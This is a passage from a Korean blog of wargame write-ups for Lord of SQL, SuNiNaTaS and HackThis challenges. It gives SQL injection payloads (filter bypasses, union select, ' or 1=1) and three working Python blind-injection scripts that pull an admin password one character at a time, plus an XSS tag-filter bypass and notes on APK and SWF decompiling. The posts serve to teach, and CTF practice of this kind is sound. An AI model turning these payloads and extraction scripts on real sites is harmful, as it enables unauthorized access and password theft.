id는 'guest'로 고정되어 있으며 pw값을 가지고 문제를 풀면 됩니다.


preg_match()로 space bar를 필터링 했습니다.

id가 'admin'으로 되면 문제가 풀립니다.


앞선 문제와 비슷한데 space bar 필터링만 추가 되었습니다.



우선 space bar 필터링 우회를 해야 합니다.

%20은 space bar를 나타냅니다. 그리고 %0a로 space bar 효과를 낼 수 있습니다.


%0a는 개행을 나타내는 기호입니다. DB Query를 할 때 개행을 하더라도 ; 가 나올 때까지 읽어 들이기 때문에

결국 space bar나 개행은 동일한 효과를 냅니다.



space bar에 대한 문제를 해결 했으니 앞선 문제처럼 union select를 이용해서 문제를 해결하시면 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] orge  (0) 2018.10.06
[LOS] darkelf  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05

이번에는 pw 부분만 입력이 가능합니다.

id는 'admin'으로 고정이 되어있고 입력한 pw값과 쿼리 결과 pw가 동일해야 문제가 풀립니다.


요행으로 참으로 만들어도 안된다는 말입니다.

정확한 pw값을 찾아야 하는 문제입니다.



우선 Query를 참으로 만들어 무슨 값이 나오는지 확인해봅니다. 

"Hello admin"이라는 값이 나옵니다.


참이 아닐 경우에는 아무런 값을 나타내지 않기 때문에 여기서 Blind SQL Injection을 통해서 문제를 해결해야 합니다.



Blind SQL Injection을 수행하기 앞서 먼저 pw의 길이를 알아내야 합니다.


length() 함수는 해당 칼럼의 길이를 알 수 있습니다.

지금 id는 'admin'으로 고정되어 있기 때문에 자연스럽게 'admin'의 pw길이를 가져오게 됩니다.


수차례 해보면 8자리라는 것을 확인할 수 있습니다.


길이를 알아냈으니 Python으로 코드를 만들어 풀어봅니다.


requests 모듈을 통해서 풀어봤습니다.

GET방식으로 전송하기 때문에 requests.get() 함수를 사용합니다.


SQL 함수인 substr()을 사용해서 문자를 하나씩 알아내면 됩니다.

※ substr(str, start, len): 해당 문자열의 시작 인덱스부터 정해진 길이까지의 문자를 가져옴


그리고 Query가 성공하면 "Hello admin"이라는 글자가 나타나니 해당 글자를 찾으면 성공했다고 판단하면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?'
password = ''
 
for i in range(1,9):
    for j in range(33,127):
        query = "pw=' or substr(pw,1,"+str(i)+")='"+password+chr(j)+"'%23"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



8자리의 비밀번호를 획득하고 인증하면 성공하게 됩니다.

(소문자로 해야 인증됨)


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05
[LOS] gremlin  (0) 2018.10.05

no의 특정 값을 넣고 id의 'admin'의 값이 나오도록 만들어야 합니다.


하지만 id에 이미 'guest'가 하드코딩 되어있고 우리는 no의 값만 조작할 수 있습니다.


우선 숫자로 임의의 숫자를 입력합니다.

1을 입력해보니 guest가 나오는 것을 보면 guest의 no는 1인 것을 알 수 있습니다.


다른 숫자들로 해보면 아무 값도 나오지 않으니 어떤 구문을 넣어서 해결해야 할 것으로 보입니다.


cobolt 문제에서 union select를 사용해봤으니 이번 문제에서도 해봤습니다.

no 1번은 guest값일 테니 그 외 다른 값을 사용해야 합니다.


처음에 2 union select admin 으로 해보니 아무 값이 나오지 않았습니다. 당연히 admin이 문자열로 지정 안 해서 그랬던 겁니다.

두번째는 2 union select 'admin' 으로 해보면 Single Quote 가 필터링 되어있기 때문에 되지 않습니다.


preg_match에서 Single Quote를 우회하는 가장 간단한 방법은 hex값으로 보내면 됩니다.

'admin'을 hex값으로 변경하면 0x61646d696e가 되며 다음과 같이 성공하게 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05
[LOS] gremlin  (0) 2018.10.05

gremlin 문제와 유사하지만 id 값이 'admin'이어야 풀리는 문제입니다.



전과 동일한 방법이지만 id는 'admin'으로 하기 위해 admin' or 1=1%23 을 입력해봅니다.

뒤에 md5로 해쉬가 되고 괄호가 있지만 주석으로 인해 무시가 됩니다.


하지만 'admin'으로 Query를 보냈는데도 'rubiya'라는 계정으로 인식이 되었습니다.

'admin'말고 'test', 'abc' 등등 다른 문자열을 입력해도 'rubiya'로 되는 것을 보면 테이블의 혹시 'rubiya'만 있을 것 같다는 생각이 들었습니다.



그래서 union select 를 이용하여 문제를 풀었습니다.


그전에 select 'admin'을 한다면 무엇이 반환 되는지 알아야 합니다.

아래 보시는 것같이 select 하고 뒤에 칼럼명이 아닌 문자열이 온다면 해당 문자열을 반환하게 됩니다.


이것을 이용해서 select 'admin'으로 admin 값을 얻을 수 있습니다.



그럼 테이블에 없을 것 같은 'admin'을 불러오기 위해 union select 'admin'으로 'admin' 값을 획득 할 수 있습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] gremlin  (0) 2018.10.05

내용을 보시면 별다른 이야기는 없으며 Query를 보내고 result의 무슨 값이든 하나만 들어있으면 통과하는 문제입니다.


따라서 해당 Query를 언제나 참으로 만드시면 됩니다.


흔히 SQL injection을 배울 때 처음 쓰는 ' or 1=1 을 사용하시면 쉽게 해결 할 수 있습니다.

하지만 id의 값을 넣고 뒤에 pw 또한 검증하니 뒤 부분을 주석 처리해서 없애주시면 됩니다.


처음에 --를 주석으로 이용해서 해봤더니 되지 않습니다.

(다 풀고 안 사실. -- 뒤에 공백이 있어야 주석으로 인식되므로 %20을 추가해야 함)



#으로 주석 처리를 하려고 했는데 왠지 모르게 표시가 되지 않고 문제가 풀리지 않습니다. 

Query에는 이상이 없다고 생각하지만 풀리지 않는군요..



굳이 주석을 이용하지 않아도 id/pw 모두 'or '1'='1 을 입력하시면 해결은 됩니다.

1을 '(SingleQuarter)로 감싸준 이유는 id='{$_GET[id]}소스 코드를 보시면 문자열로 넘어가기 때문에 '(SingleQuarter)로 감싸지기 때문입니다.



문제를 풀고 알아보니 URL에서는 #을 인식하지 못한다고 하네요.

#을 사용하려면 URL인코딩 한 값인 %23을 사용하시면 됩니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] darkelf  (0) 2018.10.05
[LOS] wolfman  (0) 2018.10.05
[LOS] orc  (0) 2018.10.05
[LOS] goblin  (0) 2018.10.05
[LOS] cobolt  (0) 2018.10.05

22번의 주요 키워드인 admin과 substring이 필터링 되어있습니다.


<!-- Hint 1 : guest / guest & Your goal is to find the admin's pw -->

<!-- Hint 2 : Bypass 'admin' string -->


힌트로 22번과 동일하지만 추가로 "admin" 문자열을 우회하라고 합니다.



우선 substring이 필터링이 되어 문자열을 나눌 수 있는 다른 방법을 찾아야 합니다.

substring과 비슷하게 사용되는 함수들은 left, mid, right가 있습니다.


하지만 mid() 함수는 존재하지 않는지 False만 나왔습니다.

그래서 left 함수를 이용해서 알고 있는 guest로 먼저 올바른 구문인지 확인해 봅니다.

※ left(str, len)



비밀번호 4글자까지는 무리 없이 잘 진행됩니다.



하지만 마지막 5글자로 해보니 No hack이라는 문자열이 나옵니다...

확인해보니까 30글자 문자열 제한이 되어있습니다.


문자열 제한으로 인해 admin 문자열의 우회 방법을 알아내도 비밀번호가 길어버리면 필터링이 되어 성공하지 못합니다.


admin을 필터링하고 있으니 ad'+'min 이렇게 만들어서 보내면 sql query에서 문자열이 합쳐서 query문이 잘 적응되긴 합니다.

(물론 Python로 할 때 +를 %2B로 해야 되더군요.)



이리저리 알아보다가 admin이라는 글자 자체가 없어도 할 수 있다는 내용을 듣고 시도해 봤습니다.


전 문제와 달리 or는 필터링이 되지 않아서 다음과 같이 시도해보면 인증이 되었습니다.

guest라는 내용이 없어도 guest로 인지하고 된 것입니다.


검색하려는 테이블의 정보 중 해당 칼럼의 다음과 같이 'g'로 시작하는 칼럼이 있으면 참으로 판단합니다.

이걸 이용하면 admin의 비밀번호 앞자리를 알 수 있습니다.



하나씩 해보게 되면 'v'가 admin으로 인증이 되게 됩니다.

이제 코드를 짜서 확인해보면 되겠습니다.



다음 Python 코드로 실행해보면 몇 자리의 비밀번호가 나오지만 문자열 30개 제한으로 인해 다 나오지 않습니다.

password의 'v'로 초기화하지 않으면 guest가 먼저 인지 되어 guest의 pw가 나오게 됩니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
 
cookies= {'YourCookie':'YourCookieValue'}
 
url = 'http://suninatas.com/Part_one/web23/web23.asp?'
password = 'v'
 
for i in range(2,15):
    for j in range(33,127):
        query = "id='or left(pw,"+str(i)+")='"+password+chr(j)+"'--&pw=1"
        payload = url+query      
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("OK")>0):
            password = password+chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



right 함수를 이용해서 뒤의 자리부터 구해서 적절히 합치면 됩니다.

그러기 위해 아래와 같이 코드 수정을 하고 진행하면 비밀번호를 얻을 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
 
cookies= {'YourCookie':'YourCookieValue'}
 
url = 'http://suninatas.com/Part_one/web23/web23.asp?'
password = ''
 
for i in range(1,15):
    for j in range(33,127):
        query = "id='or right(pw,"+str(i)+")='"+chr(j)+password+"'--&pw=1"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("OK")>0):
            password = chr(j)+password
            print("password: "+password)
            break
        
print ("password : "+password)
 
cs



QnA에 댓글 중에 "함수에 대한 고정관념을 버려야 한다"는 말이 있었습니다.

또한 DB Query에 대해 이해가 필요한 것 같습니다.


아직 배워야 할게 많네요 ..

'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_22 [WEB]  (0) 2018.10.01
SuNiNaTaS_24 [SYSTEM]  (0) 2018.09.22
SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14

Blind Sql Injection 문제입니다.


많은 문자열들이 필터링이 되어있어서 한정된 방법으로 풀어야합니다.


우선 주석에  <!-- Hint : guest / guest & Your goal is to find the admin's pw --> 과 같이 나와있으며

"admin" 계정의 대한 비밀번호를 찾으면 되는 문제입니다.


guest/guest를 입력해 전송하면 "OK guest"라는 메시지가 나옵니다.


주석이 필터링이 되어있나 확인해보기 위해 --를 입력해보니 잘 됩니다.

대충 이런 Query가 될 것입니다. select * from User_Table where id='guest' --' and pw='1'


뒤에 pw값은 주석으로 인해 무시가 되므로 id가 guest가 있으면 참으로 인식합니다.



Blind Sql Injection을 하기 위해서 처음에 pw가 몇 글자인지 알아야한다 생각하여 length() 함수를 사용했습니다.


length()함수가 필터링 되지는 않았지만 False라고 나오면서 실패하게 됩니다.

구문의 오류는 없어보이는데 왜 안되는지 모르겠네요..


한참을 length가지고 씨름을 하다가 다른 방법으로 해봤습니다.



substring() 함수를 사용해서 바로 찾아 봤습니다.

※substring(str, start, len): 문자열을 가져와서 시작 인덱스를 기준으로 지정된 길이만큼 가져옴. 1부터 시작


guest의 비밀번호는 guest임으로 다음과 같이 작성해봅니다.

99개의 길이를 가져와도 문자열 끝에는 %00이 오기에 인식하지 않습니다.


"OK guest"가 나오는 걸보니 잘 되는거 같습니다.



다음을 이용해서 Python 코드를 작성해 봤습니다.

Python의 requests 모듈을 이용해 해당 URL로 요청을 보내 "OK"값이 나오는지 확인해 봅니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
 
cookies= {'YourCookie_1':'YourCookie_value_1','YourCookie_2':'YourCookie_value_2'}
 
url = 'http://suninatas.com/Part_one/web22/web22.asp?'
password = ''
 
for i in range(1,20):
    for j in range(33,127):
        query = "id=admin' and substring(pw,"+str(i)+",1)='"+chr(j)+"'--&pw=1"
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("OK")>0):
            password += chr(j)
            break
        
print ("password : "+password)
cs



정확한 길이를 몰라 20개까지 뽑았는데 문자열의 끝이 %%%%%로 채워지므로 해당 부분을 제외하고 인증하시면 됩니다.





'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_23 [WEB]  (0) 2018.10.03
SuNiNaTaS_24 [SYSTEM]  (0) 2018.09.22
SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14

System 문제로 파일을 받고 시작합니다.


파일을 받으시면 확장자가 없으니 HxD로 확인 해보시면 zip파일 인걸 알 수 있습니다.



압축을 풀어보기 전에 내용을 확인 해보면 "AndroidManifest.xml" 이 있는 걸보니 apk로 되어있다고 판단할 수 있습니다.

(apk도 일종의 압축이니..)



처음에는 zip파일로 인지하고 "android studio"로 보일꺼라고 생각했지만 전혀 안보여서 검색을 해보니

"apktool"로 apk파일을 디컴파일하여 분석할 수 있다고 합니다.


사용법은 java -jar [apktool 파일 경로] d [디컴파일할 파일명] 입니다.



수행하고나면 폴더가 생성되고 안에 내용은 다음과 같습니다.

그냥 zip파일을 열었을 때와는 좀 다른 파일들이 보입니다.



다양한 파일들이 있어 "Visual Code"로 해당 폴더를 열어 파일을 하나씩 봤습니다.

그 중 Suninatas$1.smali 파일에 내용을 보니 "key" 값도 있으며 다양한 내용이 있습니다.


해당 key 값으로 인증을 시도하면 인증이 되지 않습니다.



그 중에 ".line 41"에 내용에 주목 해야합니다.

suninatas URL로 id,pw,key 값을 get방식으로 전송하는 코드가 있습니다


key 값은 위 사진 v4에 저장되어 있습니다.

id/pw는 사용자의 계정을 입력하면 됩니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.line 41
    new-instance v9, Ljava/lang/StringBuilder;
    const-string v10, "http://www.suninatas.com/Part_one/web24/chk_key.asp?id="
    invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
    invoke-interface {v1}, Landroid/text/Editable;->toString()Ljava/lang/String;
    move-result-object v10
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
 
    const-string v10, "&pw="
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
    invoke-interface {v6}, Landroid/text/Editable;->toString()Ljava/lang/String;
    move-result-object v10
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
 
    const-string v10, "&key="
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
    invoke-interface {v4}, Landroid/text/Editable;->toString()Ljava/lang/String;
    move-result-object v10
    invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v9
 
    invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    move-result-object v9
    invoke-static {v9}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
    move-result-object v8
cs

사용하고 있던 chrome URL창에 

http://www.suninatas.com/Part_one/web24/chk_key.asp?id=□□□□&pw=□□□□&key=□□□□□□

이런 식으로 입력해보니 Wrong!Wrong! 이라는 메시지가 나올 뿐 해결되지 않았습니다.


알고보니 android 휴대폰을 이용해서 해당 URL로 접근하면 인증 키를 띄워주었습니다.

하지만 저는 아이폰이기에.. 핸드폰으로는 못해보고


User-Agent Switcher for Chrome 을 이용해서 브라우져를 Android로 변경해서 해결 했습니다.







[참고]

Apktool을 이용한 APK 디컴파일: http://vzio.tistory.com/20

[Android] APKTool 사용법: http://choboitstory.tistory.com/151


smali 코드 배우기: https://i2sec.github.io/files/2017-10-20/study_dalvik_smali.pdf

smali 코드 관련: http://egloos.zum.com/playgame/v/2189805

[Android] smali 코드 분석 연습: http://tribal1012.tistory.com/170



'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_23 [WEB]  (0) 2018.10.03
SuNiNaTaS_22 [WEB]  (0) 2018.10.01
SuNiNaTaS_12 [MISC]  (0) 2018.09.19
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14

해당 코드를 입력할 수 있다면 풀리는 문제입니다.



우선 그대로 입력해봅니다.

그대로 입력하면 <script>와 </script> 부분이 필터링 되는지 삭제가 됩니다.



앞쪽 <script>부분에 대문자를 섞어서 해보겠습니다.

php의 경우 대소문자 구분을해서 통과합니다.


그러나 모든 글자가 사라집니다.



그럼 앞뒤로 >, < 를 넣어봅니다.

<script>와 </script> 만 필터링되고 사라집니다.


"<" 자체를 필터링 하지는 않나봅니다.



그렇다면 <script>부분을 <> 로 감싸봤습니다.

그러니 안에 <script>와 </script> 부분만 사라졌습니다.



확실하게 하기위해 실험해봅니다.

<>안에 아무 글자나 입력하고 전송을 하면 필터링되어 나타나지 않습니다.


<script>를 필터링하는게 아니라 "<>"안에 문자열들이 있으면 필터링하는거 같습니다.



방금해본 것을 <>로 감싸보면 <>만 남고 사라집니다.

<>가 두겹으로 되어있으면 밖에있는 <>는 영향을 받지 않는거 같습니다.


이걸 이용해서 <script>부분을 감싸고 script라는 문자열을 입력하면 성공하게 됩니다.



'WarGame > hackthis.co.uk' 카테고리의 다른 글

[HackThis] Basic+ level3  (0) 2018.09.09
[HackThis] Basic+ level4  (0) 2018.09.03
[HackThis] Main level10  (0) 2018.08.31
[HackThis] Main level9  (0) 2018.08.31
[HackThis] Real level1  (0) 2018.08.31

관리자로 로그인 하라는 문제입니다.


처음에 보고서 생각된 방법은 당연히 SQLi를 이용해서 로그인을 하라고 하는줄 알았습니다.

하지만 필터링도 되어있으며 글자 수 제한도 있어서 되지 않았습니다


그리고 SQLi 문제였으면 [WEB]에 있어야는데 [MISC]에 있는거도 의문이였고.. 

QnA을 참조해보니 관리자분께서 ID/PWD를 이용한 방법말고 여러 방법이 있다하셔서 다른 방식으로 풀어야 했습니다.



관리자 페이지가 어떻게서든 있으리라 생각하고 소스코드도 뒤져보고 js 코드도 확인해 봤습니다.


① 관리자 로그인 버튼이 숨어있을 것이다.

② 관리자 페이지가 어디든 기록되어 있을 것이다.

③ js 코드에 명시되어 있을 것이다.

.. 등등 다양한 방법으로 시도해 봤지만 찾지 못했습니다.


그러다.. 황당하게도 URL에 /admin이라고 해보니 다음과 같은 QR Code가 등장했습니다..



QR Code의 내용에 URL이 적혀있어 이동해 봤습니다.



ID / PW를 입력하는 창과 버튼이 있었습니다. 열심히 이것저것 넣어봤지만 실패하고 소스코드를 봐보니

".swf" 파일로 그냥 flash 파일이였습니다.


flash파일이니 어디로 전송하지도 않고 그냥 작동만하는 것이였습니다...



여기서 한참을 찾아헤매다가 flash decoding을 하라는 애기를 듣고.. (도움을 받았네요 ㅜ)


flash decoding 프로그램인 "Sothink SWF Decompiler"를 받았습니다. (30일 체험판)

해당 프로그램으로 불러보니 모양/이미지/사운드/글꼴/텍스트/버튼/프레임/동작/기타태그 로 나눠서 보였습니다.




하나하나 눌러보면서 혹시 무슨 내용이 있을까 확인해봤습니다. 

그러다 다음과 같은 코드가 나왔습니다.


".swf" 파일도 프로그램이니만큼 특정 언어로 코딩되어 있었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Action script...
 
on (release)
{
    function receipt()
    {
        if (flashid != "" || flashpw != "")
        {
            flashmessage = "Worng ID or PW";
            play ();
        }
        else
        {
            flashmessage = "Auth : \"\"";
            play ();
        } // end else if
    } // End of the function
    receipt();
}
cs


ID/PW/Auth 는 모두 지웠습니다.

'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS_22 [WEB]  (0) 2018.10.01
SuNiNaTaS_24 [SYSTEM]  (0) 2018.09.22
SuNiNaTaS_29 [FORENSIC]  (0) 2018.09.15
SuNiNaTaS_16 [SYSTEM]  (0) 2018.09.14
SuNiNaTaS_5 [WEB]  (0) 2018.09.13

+ Recent posts